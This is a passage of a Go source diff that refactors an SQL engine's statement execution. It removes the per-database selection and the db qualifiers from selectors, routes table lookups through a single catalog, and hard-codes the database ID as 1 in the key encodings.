stmt.DB - tx.engine.mutex.Unlock() - - return tx, tx.useDatabase(stmt.DB) + return tx, tx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) } type UseSnapshotStmt struct { @@ -293,7 +267,7 @@ func persistColumn(col *Column, tx *SQLTx) error { mappedKey := mapKey( tx.sqlPrefix(), catalogColumnPrefix, - EncodeID(col.table.db.id), + EncodeID(1), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), @@ -314,15 +288,11 @@ func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, par } func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - - if stmt.ifNotExists && tx.currentDB.ExistTable(stmt.table) { + if stmt.ifNotExists && tx.catalog.ExistTable(stmt.table) { return tx, nil } - table, err := tx.currentDB.newTable(stmt.table, stmt.colsSpec) + table, err := tx.catalog.newTable(stmt.table, stmt.colsSpec) if err != nil { return nil, err } @@ -346,7 +316,7 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } - mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(tx.currentDB.id), EncodeID(table.id)) + mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { @@ -386,11 +356,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, ErrMaxNumberOfColumnsInIndexExceeded } - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - - table, err := tx.currentDB.GetTableByName(stmt.table) + table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } @@ -420,7 +386,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s // check table is empty { - pkPrefix := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)) + pkPrefix := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)) existKey, err := tx.existKeyWith(pkPrefix, pkPrefix) if err != nil { return nil, err @@ -444,7 +410,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } - mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(index.id)) + mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { @@ -466,11 +432,7 @@ func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, param } func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - - table, err := tx.currentDB.GetTableByName(stmt.table) + table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } @@ -501,11 +463,7 @@ func (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, pa } func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - - table, err := tx.currentDB.GetTableByName(stmt.table) + table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } @@ -541,10 +499,6 @@ type OnConflictDo struct { } func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { - if tx.currentDB == nil { - return ErrNoDatabaseSelected - } - for _, row := range stmt.rows { if len(stmt.cols) != len(row.Values) { return ErrInvalidNumberOfValues @@ -561,7 +515,7 @@ func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, para return err } - err = val.requiresType(col.colType, make(map[string]ColDescriptor), params, tx.currentDB.name, table.name) + err = val.requiresType(col.colType, make(map[string]ColDescriptor), params, table.name) if err != nil { return err } @@ -592,10 +546,6 @@ func (stmt *UpsertIntoStmt) validate(table *Table) (map[uint32]int, error) { } func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - table, err := stmt.tableRef.referencedTable(tx) if err != nil { return nil, err @@ -648,7 +598,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } - rval, err := val.reduce(tx, nil, tx.currentDB.name, table.name) + rval, err := val.reduce(tx, nil, table.name) if err != nil { return nil, err } @@ -685,7 +635,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) _, err = tx.get(mkey) if err != nil && err != store.ErrKeyNotFound { @@ -729,7 +679,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) for _, col := range table.cols { - encSel := EncodeSelector("", table.db.name, table.name, col.colName) + encSel := EncodeSelector("", table.name, col.colName) currValuesByColID[col.id] = currPKRow.ValuesBySelector[encSel] } @@ -741,7 +691,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) valbuf := bytes.Buffer{} @@ -818,7 +768,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m encodedValues[len(encodedValues)-1] = pkEncVals } - encodedValues[0] = EncodeID(table.db.id) + encodedValues[0] = EncodeID(1) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -937,7 +887,7 @@ func (tx *SQLTx) deprecateIndexEntries( encodedValues[len(encodedValues)-1] = pkEncVals } - encodedValues[0] = EncodeID(table.db.id) + encodedValues[0] = EncodeID(1) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -1001,10 +951,6 @@ type colUpdate struct { } func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { - if tx.currentDB == nil { - return ErrNoDatabaseSelected - } - selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, @@ -1026,7 +972,7 @@ func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params m return err } - err = update.val.requiresType(col.colType, make(map[string]ColDescriptor), params, tx.currentDB.name, table.name) + err = update.val.requiresType(col.colType, make(map[string]ColDescriptor), params, table.name) if err != nil { return err } @@ -1064,10 +1010,6 @@ func (stmt *UpdateStmt) validate(table *Table) error { } func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, @@ -1103,7 +1045,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string valuesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector)) for _, col := range table.cols { - encSel := EncodeSelector("", table.db.name, table.name, col.colName) + encSel := EncodeSelector("", table.name, col.colName) valuesByColID[col.id] = row.ValuesBySelector[encSel] } @@ -1118,12 +1060,12 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return nil, err } - rval, err := sval.reduce(tx, row, table.db.name, table.name) + rval, err := sval.reduce(tx, row, table.name) if err != nil { return nil, err } - err = rval.requiresType(col.colType, cols, nil, table.db.name, table.name) + err = rval.requiresType(col.colType, cols, nil, table.name) if err != nil { return nil, err } @@ -1137,7 +1079,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) // mkey must exist _, err = tx.get(mkey) @@ -1171,10 +1113,6 @@ func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, para } func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, @@ -1203,7 +1141,7 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st valuesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector)) for _, col := range table.cols { - encSel := EncodeSelector("", table.db.name, table.name, col.colName) + encSel := EncodeSelector("", table.name, col.colName) valuesByColID[col.id] = row.ValuesBySelector[encSel] } @@ -1242,7 +1180,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T encodedValues[len(encodedValues)-1] = pkEncVals } - encodedValues[0] = EncodeID(table.db.id) + encodedValues[0] = EncodeID(1) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -1271,11 +1209,11 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T } type ValueExp interface { - inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) - requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error + inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) + requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error substitute(params map[string]interface{}) (ValueExp, error) - reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) - reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp + reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) + reduceSelectors(row *Row, implicitTable string) ValueExp isConstant() bool selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error } @@ -1418,11 +1356,11 @@ func (n *NullValue) Compare(val TypedValue) (int, error) { return -1, nil } -func (v *NullValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *NullValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return v.t, nil } -func (v *NullValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *NullValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.t == t { return nil } @@ -1440,11 +1378,11 @@ func (v *NullValue) substitute(params map[string]interface{}) (ValueExp, error) return v, nil } -func (v *NullValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *NullValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *NullValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *NullValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1468,11 +1406,11 @@ func (v *Integer) IsNull() bool { return false } -func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } @@ -1484,11 +1422,11 @@ func (v *Integer) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Integer) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Integer) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Integer) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Integer) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1543,11 +1481,11 @@ func (v *Timestamp) IsNull() bool { return false } -func (v *Timestamp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Timestamp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return TimestampType, nil } -func (v *Timestamp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Timestamp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != TimestampType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) } @@ -1559,11 +1497,11 @@ func (v *Timestamp) substitute(params map[string]interface{}) (ValueExp, error) return v, nil } -func (v *Timestamp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Timestamp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Timestamp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Timestamp) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1613,11 +1551,11 @@ func (v *Varchar) IsNull() bool { return false } -func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -1629,11 +1567,11 @@ func (v *Varchar) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Varchar) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Varchar) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Varchar) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Varchar) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1675,11 +1613,11 @@ func (v *Bool) IsNull() bool { return false } -func (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BooleanType, nil } -func (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } @@ -1691,11 +1629,11 @@ func (v *Bool) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Bool) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Bool) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Bool) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Bool) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1745,11 +1683,11 @@ func (v *Blob) IsNull() bool { return false } -func (v *Blob) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Blob) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BLOBType, nil } -func (v *Blob) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Blob) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BLOBType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BLOBType, t) } @@ -1761,11 +1699,11 @@ func (v *Blob) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Blob) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Blob) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Blob) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Blob) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1807,11 +1745,11 @@ func (v *Float64) IsNull() bool { return false } -func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return Float64Type, nil } -func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != Float64Type { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, Float64Type, t) } @@ -1823,11 +1761,11 @@ func (v *Float64) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } -func (v *Float64) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *Float64) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } -func (v *Float64) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *Float64) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1874,7 +1812,7 @@ type FnCall struct { params []ValueExp } -func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if strings.ToUpper(v.fn) == NowFnCall { return TimestampType, nil } @@ -1882,7 +1820,7 @@ func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLV return AnyType, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } -func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if strings.ToUpper(v.fn) == NowFnCall { if t != TimestampType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) @@ -1910,7 +1848,7 @@ func (v *FnCall) substitute(params map[string]interface{}) (val ValueExp, err er }, nil } -func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if strings.ToUpper(v.fn) == NowFnCall { if len(v.params) > 0 { return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, NowFnCall, len(v.params)) @@ -1921,7 +1859,7 @@ func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) ( return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } -func (v *FnCall) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *FnCall) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -1938,8 +1876,8 @@ type Cast struct { t SQLValueType } -func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - _, err := c.val.inferType(cols, params, implicitDB, implicitTable) +func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + _, err := c.val.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } @@ -1949,7 +1887,7 @@ func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLVal return c.t, nil } -func (c *Cast) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (c *Cast) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if c.t != t { return fmt.Errorf( "%w: can not use value cast to %s as %s", @@ -1971,8 +1909,8 @@ func (c *Cast) substitute(params map[string]interface{}) (ValueExp, error) { return c, nil } -func (c *Cast) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - val, err := c.val.reduce(tx, row, implicitDB, implicitTable) +func (c *Cast) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + val, err := c.val.reduce(tx, row, implicitTable) if err != nil { return nil, err } @@ -1985,9 +1923,9 @@ func (c *Cast) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (Ty return conv(val) } -func (c *Cast) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (c *Cast) reduceSelectors(row *Row, implicitTable string) ValueExp { return &Cast{ - val: c.val.reduceSelectors(row, implicitDB, implicitTable), + val: c.val.reduceSelectors(row, implicitTable), t: c.t, } } @@ -2005,7 +1943,7 @@ type Param struct { pos int } -func (v *Param) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *Param) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { t, ok := params[v.id] if !ok { params[v.id] = AnyType @@ -2015,7 +1953,7 @@ func (v *Param) inferType(cols map[string]ColDescriptor, params map[string]SQLVa return t, nil } -func (v *Param) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *Param) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { currT, ok := params[v.id] if ok && currT != t && currT != AnyType { return ErrInferredMultipleTypes @@ -2078,11 +2016,11 @@ func (p *Param) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnsupportedParameter } -func (p *Param) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (p *Param) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (p *Param) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (p *Param) reduceSelectors(row *Row, implicitTable string) ValueExp { return p } @@ -2142,10 +2080,6 @@ func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params m } func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - if stmt.groupBy == nil && stmt.having != nil { return nil, ErrHavingClauseRequiresGroupClause } @@ -2277,7 +2211,7 @@ func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, return 0, err } - texp, err := offset.reduce(tx, nil, "", "") + texp, err := offset.reduce(tx, nil, "") if err != nil { return 0, err } @@ -2467,7 +2401,6 @@ func (stmt *UnionStmt) Alias() string { } type tableRef struct { - db string table string period period as string @@ -2501,7 +2434,7 @@ func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, in return 0, err } - instantVal, err := exp.reduce(tx, nil, tx.currentDB.name, "") + instantVal, err := exp.reduce(tx, nil, "") if err != nil { return 0, err } @@ -2578,19 +2511,7 @@ func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, in } func (stmt *tableRef) referencedTable(tx *SQLTx) (*Table, error) { - if tx.currentDB == nil { - return nil, ErrNoDatabaseSelected - } - - if stmt.db != "" && stmt.db != tx.currentDB.name { - return nil, - fmt.Errorf( - "%w: statements must only involve current selected database '%s' but '%s' was referenced", - ErrNoSupported, tx.currentDB.name, stmt.db, - ) - } - - table, err := tx.currentDB.GetTableByName(stmt.table) + table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } @@ -2640,30 +2561,24 @@ type OrdCol struct { type Selector interface { ValueExp - resolve(implicitDB, implicitTable string) (aggFn, db, table, col string) + resolve(implicitTable string) (aggFn, table, col string) alias() string setAlias(alias string) } type ColSelector struct { - db string table string col string as string } -func (sel *ColSelector) resolve(implicitDB, implicitTable string) (aggFn, db, table, col string) { - db = implicitDB - if sel.db != "" { - db = sel.db - } - +func (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) { table = implicitTable if sel.table != "" { table = sel.table } - return "", db, table, sel.col + return "", table, sel.col } func (sel *ColSelector) alias() string { @@ -2678,9 +2593,9 @@ func (sel *ColSelector) setAlias(alias string) { sel.as = alias } -func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - _, db, table, col := sel.resolve(implicitDB, implicitTable) - encSel := EncodeSelector("", db, table, col) +func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + _, table, col := sel.resolve(implicitTable) + encSel := EncodeSelector("", table, col) desc, ok := cols[encSel] if !ok { @@ -2690,9 +2605,9 @@ func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[stri return desc.Type, nil } -func (sel *ColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { - _, db, table, col := sel.resolve(implicitDB, implicitTable) - encSel := EncodeSelector("", db, table, col) +func (sel *ColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + _, table, col := sel.resolve(implicitTable) + encSel := EncodeSelector("", table, col) desc, ok := cols[encSel] if !ok { @@ -2710,14 +2625,14 @@ func (sel *ColSelector) substitute(params map[string]interface{}) (ValueExp, err return sel, nil } -func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if row == nil { return nil, fmt.Errorf("%w: no row to evaluate in current context", ErrInvalidValue) } - aggFn, db, table, col := sel.resolve(implicitDB, implicitTable) + aggFn, table, col := sel.resolve(implicitTable) - v, ok := row.ValuesBySelector[EncodeSelector(aggFn, db, table, col)] + v, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } @@ -2725,10 +2640,10 @@ func (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable st return v, nil } -func (sel *ColSelector) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { - aggFn, db, table, col := sel.resolve(implicitDB, implicitTable) +func (sel *ColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { + aggFn, table, col := sel.resolve(implicitTable) - v, ok := row.ValuesBySelector[EncodeSelector(aggFn, db, table, col)] + v, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)] if !ok { return sel } @@ -2746,28 +2661,22 @@ func (sel *ColSelector) selectorRanges(table *Table, asTable string, params map[ type AggColSelector struct { aggFn AggregateFn - db string table string col string as string } -func EncodeSelector(aggFn, db, table, col string) string { - return aggFn + "(" + db + "." + table + "." + col + ")" +func EncodeSelector(aggFn, table, col string) string { + return aggFn + "(" + table + "." + col + ")" } -func (sel *AggColSelector) resolve(implicitDB, implicitTable string) (aggFn, db, table, col string) { - db = implicitDB - if sel.db != "" { - db = sel.db - } - +func (sel *AggColSelector) resolve(implicitTable string) (aggFn, table, col string) { table = implicitTable if sel.table != "" { table = sel.table } - return sel.aggFn, db, table, sel.col + return sel.aggFn, table, sel.col } func (sel *AggColSelector) alias() string { @@ -2778,15 +2687,15 @@ func (sel *AggColSelector) setAlias(alias string) { sel.as = alias } -func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if sel.aggFn == COUNT { return IntegerType, nil } - colSelector := &ColSelector{db: sel.db, table: sel.table, col: sel.col} + colSelector := &ColSelector{table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { - t, err := colSelector.inferType(cols, params, implicitDB, implicitTable) + t, err := colSelector.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } @@ 